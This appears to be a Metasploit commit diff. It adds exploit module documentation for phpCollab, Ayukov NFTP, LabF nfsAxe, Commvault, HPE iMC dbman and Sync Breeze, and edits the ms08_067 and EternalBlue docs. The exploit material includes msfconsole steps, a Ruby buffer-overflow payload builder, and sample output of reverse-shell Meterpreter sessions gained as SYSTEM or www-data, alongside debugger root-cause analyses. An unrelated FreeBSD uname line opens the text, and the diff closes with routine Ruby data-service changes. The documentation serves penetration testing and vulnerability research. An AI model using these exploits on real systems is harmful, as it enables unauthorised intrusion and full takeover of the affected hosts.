FreeBSD pfSense.localdomain 8.3-RELEASE-p16 FreeBSD 8.3-RELEASE-p16 #0: Thu May 1 16:19:14 EDT 2014 root@pf2_1_1_amd64.pfsense.org:/usr/obj.amd64/usr/pfSensesrc/src/sys/pfSense_SMP.8 amd64
```

View File

@ -0,0 +1,44 @@
## Vulnerable Application
This module exploits a file upload vulnerability in phpCollab 2.5.1
which could be abused to allow unauthenticated users to execute arbitrary code
under the context of the web server user.
The exploit has been tested on Ubuntu 16.04.3 64-bit
### Vulnerable Application Installation
You can download the vulnerable application from the [exploit-db page](https://www.exploit-db.com/apps/dda41c5b541d7adc0b50b1fcf3bf7519-phpCollab-v2.5.1.zip).
Follow the install instructions from the phpCollab website:
http://phpcollab.com/documentation/install.htm.
The phpCollab application is only compatible with php5.
## Verification steps
```
msf > use exploit/unix/webapp/phpcollab_upload_exec
msf exploit(phpcollab_upload_exec) > set RHOST [IP Address]
msf exploit(phpcollab_upload_exec) > set TARGETURI [Installation Directory]
msf exploit(phpcollab_upload_exec) > exploit
## Sample Output
[*] Started reverse TCP handler on 192.168.246.129:4444
[*] Uploading backdoor file: 1.mEgUkeNnxP.php
[+] Backdoor successfully created.
[*] Triggering the exploit...
[*] Sending stage (37543 bytes) to 192.168.246.144
[*] Meterpreter session 1 opened (192.168.246.129:4444 -> 192.168.246.144:49264) at 2017-12-20 15:44:36 -0500
[+] Deleted 1.mEgUkeNnxP.php
meterpreter > getuid
Server username: www-data (33)
meterpreter > pwd
/var/www/html/phpcollab/logos_clients
meterpreter >
```

View File

@ -0,0 +1,189 @@
# Ayukov NFTP FTP Client Stack Buffer Overflow Analysis
## Introduction
Ayukov is an FTP client that was written by Sergey Ayukov back in 1994. Development stopped in
2011, and it is vulnerable to a stack-based buffer overflow vulnerability due to the way it
handles the server input.
The exploit was tested on Windows XP SP3 (English).
## Vulnerable Application
The vulnerable copy can be [downloaded from Exploit-DB](https://www.exploit-db.com/apps/a766d928899200ed6a21f7c790b5cbe5-nftp-1.71-i386-win32.exe).
## PoC
A submission was made to Metasploit as [PR #9360](https://github.com/rapid7/metasploit-framework/pull/9360). Here's an example of how to crash the FTP client:
```ruby
# Let the client log in
client.get_once
user = "331 OK.\r\n"
client.put(user)
client.get_once
pass = "230 OK.\r\n"
client.put(pass)
sploit = "A"*4116
sploit << [target.ret].pack('V') # JMP ESP here
sploit << "\x90"*16
sploit << payload.encoded
sploit << "C" * (15000 - 4116 - 4 - 16 - payload.encoded.length)
sploit << "\r\n"
client.put(sploit)
client.get_once
pwd = "257\r\n"
client.put(pwd)
client.get_once
```
## Root Cause Analysis
When serving the PoC against the vulnerable app, the client's command prompt shows:
```
12:28:43 331 OK.
12:28:43 USER anonymous
12:28:43 230 OK.
12:28:43 Successfully logged in as 'anonymous@192.168.0.12'
12:28:43 SYST
12:28:43 .................. Lots of AAAAAs here .....................
12:28:43 TYPE I
12:28:43 257
```
The interesting part here is that when the client sends a ```SYST``` request, the server responds
with a long string of data attempting to cause a crash. This would be a good starting point to
investigate the root cause.
With IDA Pro, we can tell that the ```SYST``` string is at the following location:
```
.text:004096B6 ; char aSyst[]
.text:004096B6 aSyst db 'SYST',0 ; DATA XREF: sub_409978+B8Co
```
When we cross reference, we can tell this is used by the ```OpenControlConnection``` function.
Although there is no symbol to identify the actual function name "OpenControlConnection", the
debugging message at the beginning of the function is a big hint:
```C
int __usercall OpenControlConnection@<eax>(int a1@<ebx>, int a2@<edi>, int a3@<esi>)
{
sub_45AF40(savedregs);
*(_DWORD *)&name.sa_data[10] = a2;
*(_DWORD *)&name.sa_data[6] = a3;
*(_DWORD *)&name.sa_data[2] = a1;
if ( !dword_477AEC )
sub_419B4C(1);
while ( 1 )
{
while ( 1 )
{
do
{
sub_403484("begin OpenControlConnection()\n", charResBuffer[4088]);
...
```
Anyway, inside the OpenControlConnection function, we can see that the ```SYST``` command is
requested here for SendFTPRequest (no symbol of clue of the name, I just decided to name it this
way):
```
.text:0040A504 push offset aSyst ; "SYST"
.text:0040A509 lea eax, [ebp+charResBuffer]
.text:0040A50F push eax ; charResBuffer
.text:0040A510 lea eax, [ebp+args]
.text:0040A516 push eax ; int
.text:0040A517 push 0 ; int
.text:0040A519 call SendFTPRequest
```
Inside the SendFTPRequest function, it looks like this:
```C
int SendFTPRequest(int a1, int arg_4, char *charResBuffer, char *Format, ...)
{
char *v4; // ebx@0
int v5; // edi@0
int v6; // esi@0
char *v7; // edx@1
char Dst[16384]; // [esp+18h] [ebp-4000h]@2
char *savedregs; // [esp+4018h] [ebp+0h]@1
va_list va; // [esp+4030h] [ebp+18h]@1
va_start(va, Format);
sub_45AF40(savedregs);
savedregs = v4;
v7 = Format;
if ( Format )
{
v4 = Dst;
// This actually checks the input for the FTP command from the client.
// The 0x4000u indicates the string should not be longer than that, otherwise
// there will be a buffer overflow warning in this function.
snprintf1(Dst, 0x4000u, Format, va);
v7 = Dst;
}
return SendReceive((int)v4, v5, v6, a1, arg_4, charResBuffer, v7);
}
```
We were able to tell the second argument for ```SendFTPRequest``` is actually a buffer for receiving
the server's response, because the way it is used:
```C
result = SendFTPRequest(0, (int)args, charResBuffer, "SYST");
if ( result == -4 )
return result;
if ( result )
goto LABEL_231;
if ( *(_DWORD *)args == 2 )
{
sub_445CEC(charResBuffer);
if ( strstr(charResBuffer, "unix") )
{
if ( strstr(charResBuffer, "powerweb") )
{
*(_DWORD *)dword_47B1E0 = 6;
goto LABEL_206;
}
}
...
```
In addition, this buffer is actually on the stack, and it's 4096 long:
```
-00001010 charResBuffer db 4096 dup(?)
```
This means that if the server responds with something longer than 4096 bytes for the ```SYST``` request,
the data may corrupt the stack, and cause a stack-based buffer overflow. At the end of
```OpenControlConnection```, the ```RETN``` ends up loading the corrupt data, which may lead to
arbitrary code execution:
```
.text:0040AC39 lea esp, [ebp-2048h]
.text:0040AC3F pop ebx
.text:0040AC40 pop esi
.text:0040AC41 pop edi
.text:0040AC42 leave
.text:0040AC43 retn
```
Since whoever is using ```SendFTPRequest``` is responsible for providing the buffer of the server
response, and there are 47 other cross-references, it is possible there are different ways to
trigger the same bug. And since it doesn't look like there is a patch (because the product is
no longer in active development, from the exploit developer's perspective, it is not necessary
to look for other ways to exploit it).
## References
https://nvd.nist.gov/vuln/detail/CVE-2017-15222

View File

@ -0,0 +1,148 @@
# LabF nfsAxe FTP Client 3.7 Stack Buffer Overflow
## Introduction
LabF nfsAxe is a package of NFS servers and clients on Windows, including:
* NFS Client
* NFS Server
* FTP client
* Telnet
* LPD & LPR
* TFTP
The FTP client is vulnerable a stack-based buffer overflow due to the way it handles the server
input, which could lead to arbitrary remote code execution under the context of the user.
The exploit was tested on Windows 7 Enterprise SP1 (English).
## Vulnerable Application
The vulnerable copy can be [downloaded from Exploit-DB](https://www.exploit-db.com/apps/81575f3c81f28a239e881f68e5ea82b1-nfsaxe.exe).
## Root Cause Analysis
Inside sub_42C890() of ftp.exe, a stack buffer ```[esp+2424h+ptrBuffer]``` is passed as an
argument to sub_42EE10():
```
AUTO:0042C8FF loc_42C8FF: ; CODE XREF: sub_42C890+16Aj
AUTO:0042C8FF ; sub_42C890+1B5j
AUTO:0042C8FF push edi
AUTO:0042C900 mov ebx, 3FFh
AUTO:0042C905 lea edx, [esp+2424h+ptrBuffer]
AUTO:0042C90C push 1
AUTO:0042C90E mov eax, ds:dword_465100
AUTO:0042C913 mov ecx, edi
AUTO:0042C915 call sub_42EE10 ; Call Procedure
```
According to IDA, the buffer size is 1024 bytes:
```
-0000041C ptrBuffer db 1024 dup(?)
```
The buffer pointer is used to receive data from the FTP server. It is passed all the way to
xwpwsock!recv_dll, and then WS2_32!recv. Finally, the exploit causes the exploit to crash
because the malicious string is long enough that causes an out-of-bound WRITE. This can
be observed by the following demonstration with these breakpoints:
```
bp 0042c915 ".printf \"Passing static buffer pointer at 0x%08x\", edx; .echo ;g"
bp 0042ea0c ".printf \"Destination buffer for receive is: 0x%08x\n\", edx; .echo; g"
bp 0042eb73 ".printf \"EDX Text dump: %ma\n\", edx; .echo; .echo; g"
```
The WinDBG output:
```
Passing static buffer pointer at 0x027ff4f4
Destination buffer for receive is: 0x027ff4f4
EDX Text dump: AAAAAAAAAAAAAAA ........ AAAAAAAAAAAAAAA (a very long string)
(d48.864): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=000003fe ecx=ffffdbfc edx=000003fe esi=027ffc02 edi=02800000
eip=0042cac5 esp=027fd4ec ebp=000023ee iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
ftp+0x2cac5:
0042cac5 8807 mov byte ptr [edi],al ds:0023:02800000=??
```
In this crash, ESI is the source input, which is filled with our malicious input:
```
0:001> dd esi
027ffc02 41414141 41414141 41414141 41414141
027ffc12 41414141 41414141 41414141 41414141
027ffc22 41414141 41414141 41414141 41414141
027ffc32 41414141 41414141 41414141 41414141
027ffc42 41414141 41414141 41414141 41414141
027ffc52 41414141 41414141 41414141 41414141
027ffc62 41414141 41414141 41414141 41414141
027ffc72 41414141 41414141 41414141 41414141
```
EDI would be the destination buffer used for this copy routine:
```
AUTO:0042CAC3 loc_42CAC3: ; CODE XREF: sub_42C890+249j
AUTO:0042CAC3 mov al, [esi] ; ESI is the malicious input
AUTO:0042CAC5 mov [edi], al ; EDI = our buffer, and AL is a byte from the malicious input
AUTO:0042CAC7 cmp al, 0 ; Check null byte
AUTO:0042CAC9 jz short loc_42CADB ; Done copying
AUTO:0042CACB mov al, [esi+1] ; The next byte
AUTO:0042CACE add esi, 2
AUTO:0042CAD1 mov [edi+1], al
AUTO:0042CAD4 add edi, 2
AUTO:0042CAD7 cmp al, 0
AUTO:0042CAD9 jnz short loc_42CAC3 ; Continue copying if string isn't null
```
Since the exploit supplies a string that is long enough, the SEH chain on the stack is also
overwritten:
```
0:001> !exchain
027fff70: 41414141
Invalid exception stack at 41414141
```
The exploit simply overwrites the SEH chain to gain arbitrary code execution.
## Verification Steps
To test the exploit:
1. Install the application
2. Start `msfconsole`
3. Do: `use exploit/windows/ftp/labf_nfsaxe`
4. Set options and payload
5. Do: `exploit`
6. Connect to the FTP server using the FTP client
7. You should get a session like the following demonstration:
```
msf exploit(windows/ftp/labf_nfsaxe) > run
[*] Started reverse TCP handler on 172.16.85.1:4444
[*] Please ask your target(s) to connect to 172.16.85.1:21
[*] Server started.
msf exploit(windows/ftp/labf_nfsaxe) >
[*] 172.16.85.134 - connected.
[*] 172.16.85.134 - Response: Sending 220 Welcome
[*] 172.16.85.134 - Request: AUTH GSSAPI
[*] 172.16.85.134 - Response: sending 331 OK
[*] 172.16.85.134 - Request: ADAT TlRMTVNTUA==
[*] 172.16.85.134 - Response: Sending 230 OK
[*] 172.16.85.134 - Request: USER Guest
[*] 172.16.85.134 - Request: Sending the malicious response
[*] Sending stage (179779 bytes) to 172.16.85.134
[*] Meterpreter session 1 opened (172.16.85.1:4444 -> 172.16.85.134:49213) at 2018-01-09 22:38:33 -0600
```
## References
https://www.exploit-db.com/exploits/43236/

View File

@ -1,8 +1,17 @@
## Vulnerable Application
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28, v10.0.28, and v10.1.16
are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker
to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities
are caused by improper bounds checking of the request path in HTTP GET requests and username value
via HTTP POST requests sent to the built-in web server, respectively.
This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available
for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe)
and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
## Verification Steps
1. Install a vulnerable Sync Breeze Enterprise
2. Start `Sync Breeze Enterprise` service
3. Start `Sync Breeze Enterprise` client application

View File

@ -0,0 +1,208 @@
# Commvault Communications Service execCmd Vulnerability
## Introduction
Commvault is a data protection and information management software; an enterprise-level data
platform that contains modules to back up, restore, archive, replicate, and search data.
According to public documentation, the data is protected by installing agent software on the
physical or virtual hosts, which use the OS or application native APIs to protect data in a
consistent state. Production data is processed by the agent on client computers and backed
up through a data manager (the MediaAgent) to disk, tape, or cloud storage. All data
management activity in the environment is tracked by a centralized server (called CommServe),
and can be managed by administrators through a central user interface. End users can access
protected data using web browsers or mobile devices.
One of the base services of Commvault is vulnerable to a remote command injection attack,
specifically the cvd service.
## Vulnerable Application
Commvault v11 SP5 or prior are vulnerable to this vulnerability. The specific vulnerable
version I tested was 11.0.80.0.
The version of the vulnerable DLL is:
```
Image path: C:\Program Files\Commvault\ContentStore\Base\CVDataPipe.dll
Image name: CVDataPipe.dll
Timestamp: Wed Dec 21 11:59:21 2016 (585AC2F9)
CheckSum: 002ED404
ImageSize: 002F0000
File version: 11.80.50.60437
Product version: 11.0.0.0
File flags: 1 (Mask 3F) Debug
File OS: 40004 NT Win32
File type: 1.0 App
File date: 00000000.00000000
Translations: 0409.04b0
CompanyName: Commvault
ProductName: Commvault
InternalName: CVDataPipe
OriginalFilename: CVDataPipe.dll
ProductVersion: 11.0.0.0
FileVersion: 11.80.50.60437
PrivateBuild:
SpecialBuild:
FileDescription:
LegalCopyright: Copyright (c) 2000-2016
LegalTrademarks:
Comments:
```
## Root Cause Analysis
Usually, there are two ways to execute a command in a C/C++ application, one of them is ```WinExec()```,
and the other one is ```CreateProcess()```:
```
BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);
```
Since ```CreateProcess()``` is meant to replace ```WinExec()``` according to Microsoft, we can create a
breakpoint there first in our debugger (WinDBG), and we hit it:
```
0:044> g
Breakpoint 3 hit
kernel32!CreateProcessA:
00000000`76fe8730 4c8bdc mov r11,rsp
```
Looking at the callstack of this ```kernel32!CreateProcessA```, we already have a pretty good idea
locating the vulnerability:
```
0:044> k
Child-SP RetAddr Call Site
00000000`11a36b78 000007fe`f378a40f kernel32!CreateProcessA
00000000`11a36b80 000007fe`f377714e CVDataPipe!execCmd+0x7af
00000000`11a3f340 000007fe`f3777a69 CVDataPipe!CVDMessageHandler+0x78e
00000000`11a3fbd0 000007fe`f9cdc58d CVDataPipe!CVDMessageHandler+0x10a9
00000000`11a3fd40 000007fe`f9cdc1b1 CvBasicLib!CvThreadPool::th_defaultWorkerObj+0x3cd
00000000`11a3fe40 000007fe`f9cd2073 CvBasicLib!CvThreadPool::th_defaultWorker+0x51
00000000`11a3fe90 000007fe`f9a84f7f CvBasicLib!CvThread::~CvThread+0x63
00000000`11a3fee0 000007fe`f9a85126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376]
00000000`11a3ff10 00000000`76f6f56d MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354]
00000000`11a3ff40 00000000`770a3281 kernel32!BaseThreadInitThunk+0xd
00000000`11a3ff70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
```
There are two things that are interesting. One of them is ```CVDataPipe!CVDMessageHandler```, and the
other one is ```CVDataPipe!execCmd```.
```CVDataPipe!CVDMessageHandler``` is basically a function that handles our packet's message type.
The Metasploit exploit specifically sends a code of ```9h```, which is the message type for ```execCmd```:
```
.text:0000000180147103 loc_180147103: ; CODE XREF: CVDMessageHandler(int,selectStruct_t *,CQiSocket,void *):loc_180146D78j
.text:0000000180147103 lea rax, [rsp+888h+var_220] ; jumptable 0000000180146D78 case 9
.text:000000018014710B mov [rsp+888h+var_600], rax
.text:0000000180147113 mov rdx, [rsp+888h+sock]
.text:000000018014711B mov rcx, [rsp+888h+var_600]
.text:0000000180147123 call cs:??0CQiSocket@@QEAA@AEBV0@@Z ; CQiSocket::CQiSocket(CQiSocket const &)
.text:0000000180147129 mov [rsp+888h+var_5F0], rax
.text:0000000180147131 mov r8, [rsp+888h+arg_18]
.text:0000000180147139 mov rdx, [rsp+888h+var_5F0]
.text:0000000180147141 mov rcx, [rsp+888h+structSelect]
.text:0000000180147149 call ?execCmd@@YAXPEAUselectStruct_t@@VCQiSocket@@PEAX@Z ; execCmd(selectStruct_t *,CQiSocket,void *)
```
If we take a closer look at the ```execCmd``` function, we can tell the purpose of it is for processes such as:
* ifind (For restoring purposes)
* BackupShadow.exe (For archiving)
* Pub (Map file)
* createIndex (A Commvault process for building index)
```
.text:0000000180159F1B loc_180159F1B: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+261j
.text:0000000180159F1B ; DATA XREF: .rdata:0000000180286258o
.text:0000000180159F1B lea rdx, aIfind ; "ifind"
.text:0000000180159F22 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F2A call cs:strstr
.text:0000000180159F30 test rax, rax
.text:0000000180159F33 jnz short loc_180159F6D
.text:0000000180159F35 lea rdx, aBackupshadow_e ; "BackupShadow.exe"
.text:0000000180159F3C lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F44 call cs:strstr
.text:0000000180159F4A test rax, rax
.text:0000000180159F4D jnz short loc_180159F6D
.text:0000000180159F4F lea rdx, aPub ; "Pub"
.text:0000000180159F56 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:0000000180159F5E call cs:strstr
...
.text:000000018015A0BA loc_18015A0BA: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+307j
.text:000000018015A0BA lea rdx, aCreateindex ; "createIndex"
.text:000000018015A0C1 lea rcx, [rsp+87B8h+ApplicationName] ; Str
.text:000000018015A0C9 call cs:strstr
.text:000000018015A0CF test rax, rax
.text:000000018015A0D2 jz loc_18015A220
```
However, if you don't call one of these processes, the ```execCmd``` will assume you want to run your
custom process, and pass it to ```CreateProcess``` anyway:
```
.text:000000018015A361 loc_18015A361: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+675j
.text:000000018015A361 call cs:GetEnvironmentStrings
.text:000000018015A367 mov [rsp+87B8h+var_86A8], rax
.text:000000018015A36F lea rax, [rsp+87B8h+StartupInfo]
.text:000000018015A377 mov rdi, rax
.text:000000018015A37A xor eax, eax
.text:000000018015A37C mov ecx, 68h
.text:000000018015A381 rep stosb
.text:000000018015A383 mov [rsp+87B8h+StartupInfo.cb], 68h
.text:000000018015A38E lea rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A396 mov rdi, rax
.text:000000018015A399 xor eax, eax
.text:000000018015A39B mov ecx, 18h
.text:000000018015A3A0 rep stosb
.text:000000018015A3A2 mov [rsp+87B8h+StartupInfo.dwFlags], 1
.text:000000018015A3AD xor eax, eax
.text:000000018015A3AF mov [rsp+87B8h+StartupInfo.wShowWindow], ax
.text:000000018015A3B7 lea rax, [rsp+87B8h+ProcessInformation]
.text:000000018015A3BF mov [rsp+87B8h+lpProcessInformation], rax ; lpProcessInformation
.text:000000018015A3C4 lea rax, [rsp+87B8h+StartupInfo]
.text:000000018015A3CC mov [rsp+87B8h+lpStartupInfo], rax ; lpStartupInfo
.text:000000018015A3D1 mov [rsp+87B8h+lpCurrentDirectory], 0 ; lpCurrentDirectory
.text:000000018015A3DA mov [rsp+87B8h+lpEnvironment], 0 ; lpEnvironment
.text:000000018015A3E3 mov [rsp+87B8h+dwCreationFlags], 10h ; dwCreationFlags
.text:000000018015A3EB mov [rsp+87B8h+bInheritHandles], 0 ; bInheritHandles
.text:000000018015A3F3 xor r9d, r9d ; lpThreadAttributes
.text:000000018015A3F6 xor r8d, r8d ; lpProcessAttributes
.text:000000018015A3F9 lea rdx, [rsp+87B8h+CommandLine] ; lpCommandLine
.text:000000018015A401 lea rcx, [rsp+87B8h+ApplicationName] ; lpApplicationName
.text:000000018015A409 call cs:CreateProcessA
```
It is unclear whether allowing an arbitrary custom process is intentional or not, it is unsafe
anyway considering the cvd process binds to 0.0.0.0, so anybody can gain access to it under the
context of SYSTEM.
## Using the Metasploit Module
1. Start msfconsole
2. `use exploit/windows/misc/commvault_cmd_exec`
3. `set RHOST [ip]`
4. `exploit`
5. shellz :)
## References
* https://en.wikipedia.org/wiki/Commvault
* https://www.securifera.com/advisories/sec-2017-0001/

View File

@ -0,0 +1,59 @@
## Description
This module exploits a remote command execution vulnerablity in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04.
The dbman service allows unauthenticated remote users to restart a user-specified database instance (OpCode 10008), however the instance ID is not sanitized, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 2810 by default.
## Vulnerable Application
[HPE Intelligent Management Center Enterprise Software Platform](https://www.hpe.com/au/en/product-catalog/networking/intelligent-management-software/pip.hp-intelligent-management-center-enterprise-software-platform.4176520.html) is a comprehensive wired and wireless network management tool.
This module has been tested successfully on:
* iMC PLAT v7.2 (E0403) on Windows 7 SP1 (EN).
Installer:
* [iMC PLAT v7.2 (E0403) Standard](https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=)
## Verification Steps
1. Start `msfconsole`
2. Do: `use exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce`
3. Do: `set RHOST <IP>`
4. Do: `run`
5. You should get a session
## Scenarios
```
msf > use exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > set rhost 172.16.191.166
rhost => 172.16.191.166
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > check
[*] 172.16.191.166:2810 The target service is running, but could not be validated.
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > set verbose true
verbose => true
msf exploit(windows/misc/hp_imc_dbman_restartdb_unauth_rce) > run
[*] Started reverse TCP handler on 172.16.191.181:4444
[*] 172.16.191.166:2810 - Powershell command length: 6091
[*] 172.16.191.166:2810 - Sending payload (6091 bytes)...
[*] Sending stage (179779 bytes) to 172.16.191.166
[*] Meterpreter session 1 opened (172.16.191.181:4444 -> 172.16.191.166:55316) at 2018-01-05 03:23:55 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-SGBSD5TQUTQ
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows
```

View File

@ -0,0 +1,59 @@
## Description
This module exploits a remote command execution vulnerablity in Hewlett Packard Enterprise Intelligent Management Center before version 7.3 E0504P04.
The dbman service allows unauthenticated remote users to restore a user-specified database (OpCode 10007), however the database connection username is not sanitized resulting in command injection, allowing execution of arbitrary operating system commands as SYSTEM. This service listens on TCP port 2810 by default.
## Vulnerable Application
[HPE Intelligent Management Center Enterprise Software Platform](https://www.hpe.com/au/en/product-catalog/networking/intelligent-management-software/pip.hp-intelligent-management-center-enterprise-software-platform.4176520.html) is a comprehensive wired and wireless network management tool.
This module has been tested successfully on:
* iMC PLAT v7.2 (E0403) on Windows 7 SP1 (EN).
Installer:
* [iMC PLAT v7.2 (E0403) Standard](https://h10145.www1.hpe.com/Downloads/DownloadSoftware.aspx?SoftwareReleaseUId=16759&ProductNumber=JG747AAE&lang=en&cc=us&prodSeriesId=4176535&SaidNumber=)
## Verification Steps
1. Start `msfconsole`
2. Do: `use exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce`
3. Do: `set RHOST <IP>`
4. Do: `run`
5. You should get a session
## Scenarios
```
msf > use exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce
msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > set rhost 172.16.191.166
rhost => 172.16.191.166
msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > set verbose true
verbose => true
msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > check
[*] 172.16.191.166:2810 The target service is running, but could not be validated.
msf exploit(windows/misc/hp_imc_dbman_restoredbase_unauth_rce) > run
[*] Started reverse TCP handler on 172.16.191.238:4444
[*] 172.16.191.166:2810 - Powershell command length: 6123
[*] 172.16.191.166:2810 - Sending payload (6123 bytes)...
[*] Sending stage (179779 bytes) to 172.16.191.166
[*] Meterpreter session 1 opened (172.16.191.238:4444 -> 172.16.191.166:49176) at 2018-01-05 05:30:48 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
smeterpreter > sysinfo
Computer : WIN-SGBSD5TQUTQ
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
```

View File

@ -1,7 +1,7 @@
ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is
considered a reliable exploit, and allows you to gain access as SYSTEM - the highest Windows
privilege. In modern day penetration test, this exploit would most likely be used in an internal
environment, and not so much from external due to the likelihood of a firewall.
considered a reliable exploit and allows you to gain access as SYSTEM - the highest Windows
privilege. In modern day penetration tests, this exploit would most likely be used in an internal
environment and not so much from external due to the likelihood of a firewall.
The check command of ms08_067_netapi is also highly accurate, because it is actually testing the
vulnerable code path, not just passively.
@ -15,7 +15,7 @@ This exploit works against a vulnerable SMB service from one of these Windows sy
* Windows XP
* Windows 2003
To reliability determine whether the machine is vulnerable, you will have to either examine
To reliably determine whether the machine is vulnerable, you will have to either examine
the system's patch level, or use a vulnerability check.
## Verification Steps

View File

@ -1,7 +1,7 @@
ms17_010_eternalblue is a remote exploit against Microsoft Windows, originally written by the
Equation Group (NSA) and leaked by Shadow Brokers (an unknown hacking entity). It is
considered a reliable exploit, and allows you to gain access not only as SYSTEM - the highest Windows
user mode privilege, but also full control of the kernel in ring 0. In modern day penetration test,
considered a reliable exploit and allows you to gain access not only as SYSTEM - the highest Windows
user mode privilege, but also full control of the kernel in ring 0. In modern day penetration tests,
this exploit can be found in internal and external environments.
As far as remote kernel exploits go, this one is highly reliable and safe to use.

View File

@ -13,6 +13,8 @@ module HostDataProxy
end
end
# TODO: Shouldn't this proxy to RemoteHostDataService#find_or_create_host ?
# It's currently skipping the "find" part
def find_or_create_host(opts)
puts 'Calling find host'
report_host(opts)

View File

@ -3,13 +3,22 @@ require 'metasploit/framework/data_service/remote/http/response_data_helper'
module RemoteCredentialDataService
include ResponseDataHelper
CREDENTIAL_PATH = '/api/1/msf/credential'
CREDENTIAL_API_PATH = '/api/1/msf/credential'
# "MDM_CLASS" is a little misleading since it is not in that repo but trying to keep naming consistent across DataServices
CREDENTIAL_MDM_CLASS = 'Metasploit::Credential::Core'
def creds(opts = {})
json_to_open_struct_object(self.get_data(CREDENTIAL_PATH, opts), [])
data = self.get_data(CREDENTIAL_API_PATH, opts)
rv = json_to_mdm_object(data, CREDENTIAL_MDM_CLASS, [])
parsed_body = JSON.parse(data.response.body)
parsed_body.each do |cred|
private_object = to_ar(cred['private_class'].constantize, cred['private'])
rv[parsed_body.index(cred)].private = private_object
end
rv
end
def create_credential(opts)
self.post_data_async(CREDENTIAL_PATH, opts)
self.post_data_async(CREDENTIAL_API_PATH, opts)
end
end

View File

@ -3,27 +3,28 @@ require 'metasploit/framework/data_service/remote/http/response_data_helper'
module RemoteHostDataService
include ResponseDataHelper
HOST_PATH = '/api/1/msf/host'
HOST_SEARCH_PATH = HOST_PATH + "/search"
HOST_API_PATH = '/api/1/msf/host'
HOST_SEARCH_PATH = HOST_API_PATH + "/search"
HOST_MDM_CLASS = 'Mdm::Host'
def hosts(opts)
json_to_open_struct_object(self.get_data(HOST_PATH, opts), [])
json_to_mdm_object(self.get_data(HOST_API_PATH, opts), HOST_MDM_CLASS, [])
end
def report_host(opts)
json_to_open_struct_object(self.post_data(HOST_PATH, opts))
json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS, []).first
end
def find_or_create_host(opts)
json_to_open_struct_object(self.post_data(HOST_PATH, opts))
json_to_mdm_object(self.post_data(HOST_API_PATH, opts), HOST_MDM_CLASS, []).first
end
def report_hosts(hosts)
self.post_data(HOST_PATH, hosts)
self.post_data(HOST_API_PATH, hosts)
end
def delete_host(opts)
json_to_open_struct_object(self.delete_data(HOST_PATH, opts))
json_to_mdm_object(self.delete_data(HOST_API_PATH, opts), HOST_MDM_CLASS, [])
end
# TODO: Remove? What is the purpose of this method?

View File

@ -3,11 +3,12 @@ require 'metasploit/framework/data_service/remote/http/response_data_helper'
module RemoteLootDataService
include ResponseDataHelper
LOOT_PATH = '/api/1/msf/loot'
LOOT_API_PATH = '/api/1/msf/loot'
LOOT_MDM_CLASS = 'Mdm::Loot'
def loot(opts = {})
